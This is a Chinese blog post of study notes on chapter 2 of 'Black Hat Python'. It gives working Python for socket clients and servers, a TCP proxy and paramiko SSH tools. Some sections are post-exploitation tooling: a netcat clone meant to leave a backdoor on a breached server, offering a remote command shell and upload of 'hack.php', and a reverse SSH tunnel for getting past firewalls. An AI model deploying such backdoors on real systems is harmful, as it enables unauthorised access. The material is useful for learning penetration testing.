int(111) int(111) python黑帽子(第二章) | 绝缘体

python黑帽子(第二章)

 
更多

TCP客户端

在渗透测试工程中,我们经常会遇到需要创建一个TCP客户端来连接网络、发送垃圾数据、进行模糊测试等任务的情况。但是所处环境不具备丰富的网络工具,下面是一个简单的TCP客户端

import socket

# 要连接目标的ip和端口
target_host = '127.0.0.1' # ip或者域名
target_port = 1111

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
client.send('hello'.encode('utf-8'))
response = client.recv(4096)
print(response)

TCP服务端

import socket
import threading

server_ip = '0.0.0.0'  # 用于监听的ip和端口
server_port = 1111

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((server_ip, server_port)) # 绑定ip端口
server.listen(5) # 允许最大tcp客户端连接数为5
print('TCP server start listen')


def handle_client(socket_client):
    request = socket_client.recv(1024)
    print(request)
    socket_client.send('ACK!'.encode('utf-8'))
    socket_client.close()


while True:
    client, add_info = server.accept() # 接受tcp客户端的请求,开启client套接字用于和tcp客户端通信
    print(f'handle{add_info}')
    t = threading.Thread(target=handle_client, args=(client,))
    t.start()

UDP

# 因为udp的特性虽然区分服务端与客户端 但是不用连接  这里只写下了 udp客户端的代码
import socket

target_host = '127.0.0.1'
target_port = 2222

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto('message'.encode('utf-8'), (target_host, target_port))
data, address = client.recvfrom(4096)
print(data)

recvfrom()返回(数据、连接信息)和 recv()只返回数据;sendto() 需要发送消息和地址、send只需要发送消息

因为tcp是需要连接的 udp是无状态不需要连接的,一般udp使用recvfrom和sendto() tcp使用 recv和send()

参数
socket.AF_INET 说明是标准ipv4地址或主机名
socket.SOCK_STREAM 流式socket , 当使用TCP时选择此参数
socket.SOCK_DGRAM 数据报式socket ,当使用UDP时选择此参数

模拟netcat

当我们通过漏洞进入一个服务器,并且服务器中安装了python——>通过下面的脚本给服务器开启一个端口 进行命令行交互、留后门、单条命令执行等功能

  • python xxxx.py -t “0.0.0.0” -p 1111 -l “True” -c “True” 开启1111端口进行监听 客户端连接后会与服务器产生一个交互的终端
  • python xxxx.py -t “0.0.0.0” -p 1111 -l “True” -u “/www/hack.php” 客户端连接后输入的数据会被写入到/www/hack.php
import sys
import socket
import threading
import subprocess
import optparse


def usage():
    parser.add_option("-l", "--listen", dest="listen", help="Is it a TCP server", type="str")
    parser.add_option("-e", "--execute", dest="execute", default='', help="", type='str')
    parser.add_option("-c", "--command", dest='command', help='create a new shell')
    parser.add_option("-u", "--upload", dest='upload', default='', help='', type='str')
    parser.add_option("-t", "--host", dest='host', help='host', type='str')
    parser.add_option("-p", "--port", dest='port', help='port', type='int')


def client_sender():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))
    # if len(buffer):
    #     client.send(buffer.encode('utf-8'))
    while True:
        rec_flag = 1
        response = ''
        while rec_flag:
            data = client.recv(4096)
            rec_flag = len(data)
            response += data.decode('gbk')
            if rec_flag < 4096:
                break
        print(response)
        _buffer = sys.stdin.readline()
        client.send(_buffer.encode('utf-8'))


def run_execute():
    global execute
    execute = execute.strip()
    output = subprocess.check_output(execute, stderr=subprocess.STDOUT, shell=True)
    return output


def client_handle(client_socket):
    if len(upload_destination):
        file_buffer = ''
        while True:
            data = client_socket.recv(4096)
            rec_flag = len(data)
            file_buffer += data.decode('utf-8')
            if rec_flag < 4096:
                break

        with open(upload_destination, 'w', encoding='utf-8') as fp:
            fp.write(file_buffer)

    if command:
        while True:
            client_socket.send('please input:'.encode('utf-8'))
            cmd_buf = ''
            while '\n' not in cmd_buf:
                data = client_socket.recv(4096)
                cmd_buf += data.decode('utf-8')
            response = subprocess.check_output(cmd_buf, stderr=subprocess.STDOUT, shell=True)
            client_socket.send(response)
    if len(execute):
        output = run_execute()
        client_socket.send(output)


def server_loop():
    global host
    if not len(host):
        host = '0.0.0.0'
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    while True:
        socket_client, addr = server.accept()
        threading.Thread(target=client_handle, args=(socket_client,)).start()


if __name__ == '__main__':
    listen = False
    command = False
    parser = optparse.OptionParser()
    usage()
    option, args = parser.parse_args()  # option是标明的参数 args是额外的参数
    # 这里本应该做参数检查 此处省略
    upload_destination = option.upload
    execute = option.execute
    host = option.host
    port = option.port
    if option.listen == 'True':
        listen = True
    if option.command == 'True':
        command = True
    if not listen:
        # buffer = sys.stdin.readline()  # 从命令行读取内容 ctrl+D结束输入
        client_sender()
    if listen:
        server_loop()

TCP代理

下面几行代码只是演示代理的原理

本机的local_port为代理服务的端口 客户端连接本机的local_port 本机将客户端发送来的数据转发到远程主机remote_host,remote_port 然后将远程主机返回的信息转发给客户端

  • python xxx.py –host “0.0.0.0” –port 1111 –rhost “xxxx” –port 21 –receivef “True”
import sys
import socket
import optparse
import threading


def proxy_handler(client_socket, remote_host, remote_port, receive):
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))
    if receive:
        print('wait remote')
        remote_buffer = remote_socket.recv(4096)
        client_socket.send(remote_buffer)
    while True:
        local_buffer = client_socket.recv(4096)
        remote_socket.send(local_buffer)
        remote_buffer = remote_socket.recv(4096)
        client_socket.send(remote_buffer)


def server_loop(local_host, local_port, remote_host, remote_port, receive):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((local_host, local_port))
    print(f'Listening on {local_host}:{local_port}')
    server.listen(5)
    while True:
        client_socket, addr = server.accept()
        print(f'{addr}已连接')
        threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive)).start()


def usage(parser):
    parser.add_option("--host", dest="host")
    parser.add_option("--port", dest="port", type='int')
    parser.add_option("--rhost", dest="rhost")
    parser.add_option("--rport", dest="rport", type='int')
    parser.add_option("--receivef", dest='receive', help='在发给远程主机之前连接和接受数据')


def main():
    parser = optparse.OptionParser()
    usage(parser)
    option, args = parser.parse_args()
    local_host = option.host
    remote_host = option.rhost
    local_port = option.port
    remote_port = option.rport
    receive = False
    if option.receive == 'True':
        receive = True
    print(receive)

    server_loop(local_host, local_port, remote_host, remote_port, receive)


if __name__ == '__main__':
    main()

实现SSH客户端

import paramiko

def ssh_command(ip, port, user, passwd, command):
    # 实例化ssh对象
    client = paramiko.SSHClient()
    # 秘钥认证方式
    # client.load_host_keys('')
    # 自动添加和保存服务器ssh秘钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    # 用户名密码认证方式
    client.connect(ip, port, user, passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.exec_command(command)
        print(ssh_session.recv(1024).decode('utf-8'))


ssh_command("192.168.1.103", 22, "beginner", "beginner", "ifconfig")

SSH服务器端代码

import socket
import threading
import sys
import paramiko

#ssh-keygen -t rsa -b 4096 生成ssh秘钥
host_key = paramiko.RSAKey(filename="私钥")


class Server(paramiko.ServerInterface):
    def __init__(self):
        # 执行start_server()方法首先会触发Event,如果返回成功, is_active返回True
        self.event = threading.Event

    def check_auth_password(self, username, password):
        # 当is_active返回True,进入认证阶段
        if username == 'beginner' and password == 'beginner':
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

    def check_channel_request(self, kind, chanid):
        # 当认证成功,client会请求打开一个Channel
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED


# 命令接受ip与port
server = sys.argv[1]
port = int(sys.argv[2])

# 建立socket套接字
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # SOL_SOCKET    意思是正在使用的socket选项。
    # SO_REUSEADDR  当socket关闭后,本地端用于该socket的端口号立刻就可以被重用
    # 1    表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, port))
    sock.listen(100)
    print('[+] Listening for connection...')
    client, addr = sock.accept()
except Exception as e:
    print('[-] Listen failed!')
    sys.exit(1)
print('[+] Got a connection!')

try:
    # 用sock.accept()返回的socket实例化Transport
    bhSession = paramiko.Transport(client)
    # 添加一个RSA密钥加密会话
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        # 启动SSH服务端
        bhSession.start_server(server=server)
    except paramiko.SSHException as x:
        print('[-] SSH negotiation failed.')
    # 等待客户端开启通道,超时时间为20秒
    chan = bhSession.accept(20)

    print('[+] Authenticated!')
    print(chan.recv(1024).decode('utf-8'))
    chan.send(b'welcome to bh_ssh')
    while True:
        try:
            command = input("Enter command:").strip('\n')
            if command != 'exit':
                chan.send(command.encode("utf-8"))
                print(chan.recv(1024).decode("utf-8")+'\n')
            else:
                chan.send(b'exit')
                print('exiting.')
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception as e:
    print('[-] Caught exception:'+str(e))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

SSH隧道(ssh端口转发)

SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。除此之外SSH还能够将其他TCP端口的网络数据通SSH链接来转发,并且自动提供了相应的加密及解密服务。

ssh端口转发种类

  • 本地转发

    B开启了ssh服务器可以被外部连接,C开启了FTP只允许本地连接,A可以连接B无法连接C

sh -L localport:remotehost:remotehostport sshserver

sh -L 1111:192.168.0.103:21 192.168.0.102

现在只需要访问127.0.0.1:21就可以连接ftp

localport 本地端口号
remotehost 远程服务器
remotehostport 远程服务器端口
sshserver ssh服务器ip
  • 远程转发(SSH反向隧道)

    企业中一般防火墙是只允许出不允许进,如果防火墙关闭了22端口我们无法本地转发,现在只能远程转发

    现在就是B连接A 然后A将需要发送的数据交给B B再交给C

    ssh -R sshserverport:remotehost:remotehostport sshserver

    sshserverport 被转发机器开放的端口
    remotehost 远程服务器
    remotehostport 远程服务器端口
    sshserver 需要被转发机器ip
  • 动态转发

    FQ~~~

关于ssh隧道的详解https://www.cnblogs.com/keerya/p/7612715.html

import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True


def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
        return

    verbose(
        "Connected!  Tunnel open %r -> %r -> %r"
        % (chan.origin_addr, chan.getpeername(), (host, port))
    )
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    verbose("Tunnel closed from %r" % (chan.origin_addr,))


def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
    transport.request_port_forward("", server_port)
    while True:
        chan = transport.accept(1000)
        if chan is None:
            continue
        thr = threading.Thread(
            target=handler, args=(chan, remote_host, remote_port)
        )
        thr.setDaemon(True)
        thr.start()


def verbose(s):
    if g_verbose:
        print(s)


HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""


def get_host_port(spec, default_port):
    "parse 'hostname:22' into a host and port, with the port optional"
    args = (spec.split(":", 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]


def parse_options():
    global g_verbose

    parser = OptionParser(
        usage="usage: %prog [options] <ssh-server>[:<server-port>]",
        version="%prog 1.0",
        description=HELP,
    )
    parser.add_option(
        "-q",
        "--quiet",
        action="store_false",
        dest="verbose",
        default=True,
        help="squelch all informational output",
    )
    parser.add_option(
        "-p",
        "--remote-port",
        action="store",
        type="int",
        dest="port",
        default=DEFAULT_PORT,
        help="port on server to forward (default: %d)" % DEFAULT_PORT,
    )
    parser.add_option(
        "-u",
        "--user",
        action="store",
        type="string",
        dest="user",
        default=getpass.getuser(),
        help="username for SSH authentication (default: %s)"
        % getpass.getuser(),
    )
    parser.add_option(
        "-K",
        "--key",
        action="store",
        type="string",
        dest="keyfile",
        default=None,
        help="private key file to use for SSH authentication",
    )
    parser.add_option(
        "",
        "--no-key",
        action="store_false",
        dest="look_for_keys",
        default=True,
        help="don't look for or use a private key file",
    )
    parser.add_option(
        "-P",
        "--password",
        action="store_true",
        dest="readpass",
        default=False,
        help="read password (for key or password auth) from stdin",
    )
    parser.add_option(
        "-r",
        "--remote",
        action="store",
        type="string",
        dest="remote",
        default=None,
        metavar="host:port",
        help="remote host and port to forward to",
    )
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error("Incorrect number of arguments.")
    if options.remote is None:
        parser.error("Remote address required (-r).")

    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[0], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
    return options, (server_host, server_port), (remote_host, remote_port)


def main():
    options, server, remote = parse_options()

    password = None
    if options.readpass:
        password = getpass.getpass("Enter SSH password: ")

    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))
    try:
        client.connect(
            server[0],
            server[1],
            username=options.user,
            key_filename=options.keyfile,
            look_for_keys=options.look_for_keys,
            password=password,
        )
    except Exception as e:
        print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))
        sys.exit(1)

    verbose(
        "Now forwarding remote port %d to %s:%d ..."
        % (options.port, remote[0], remote[1])
    )

    try:
        reverse_forward_tunnel(
            options.port, remote[0], remote[1], client.get_transport()
        )
    except KeyboardInterrupt:
        print("C-c: Port forwarding stopped.")
        sys.exit(0)


if __name__ == "__main__":
    main()

python3 rforward.py ssh服务器ip -p 本地转接的端口 -r 远程ip:远程端口 –user 用于连接ssh服务的用户名 –password

打赏

本文固定链接: https://www.cxy163.net/archives/5220 | 绝缘体

该日志由 绝缘体.. 于 2025年10月25日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: python黑帽子(第二章) | 绝缘体
关键字: , , , ,

python黑帽子(第二章):等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter